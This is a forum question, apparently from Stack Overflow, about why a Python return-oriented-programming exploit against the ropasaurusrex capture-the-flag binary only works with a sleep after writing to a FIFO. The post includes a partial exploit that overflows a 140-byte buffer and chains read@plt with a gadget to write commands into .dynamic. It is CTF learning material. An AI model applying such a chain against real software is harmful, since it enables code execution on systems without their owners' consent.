I'm trying to exploit ropasaurusrex binary. Basically It has buffer overflow vulnerability. Binary reads data from stdin and fills it to buffer.
My goal for payload is to overwrite EIP with address of read@plt and make program to wait for additional input and exploit sends some input to binary.
I created a FIFO. Binary reads stdin from this FIFO, and my exploit writes to this FIFO. My exploit doesn't work if I don't add a time.sleep(1) after flush. When sleep not added, vulnerable binary reads payload + commands in the first read operation.

import os,sys,time 
import struct 

pipe = '/tmp/roppipe' 

payload = 'A'*140 

cmd = sys.argv[1] + '\0' 

# write stdin to .dynamic 
payload += struct.pack('<I',0x0804832c) # read@plt location 
payload += struct.pack('<I',0x080484b6) # address of pppr gadget 
payload += struct.pack('<I',0) #read param 1: stdin fd 
payload += struct.pack('<I',0x08049530) #read param 2: address of .dynamic 
payload += struct.pack('<I',len(cmd)) #read param 3: length of input 

f = open(pipe,'w') 
time.sleep(1) # this is the only way that works

I couldn't understand why time.sleep required, and how I can make it work without it?

Thanks for your help.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.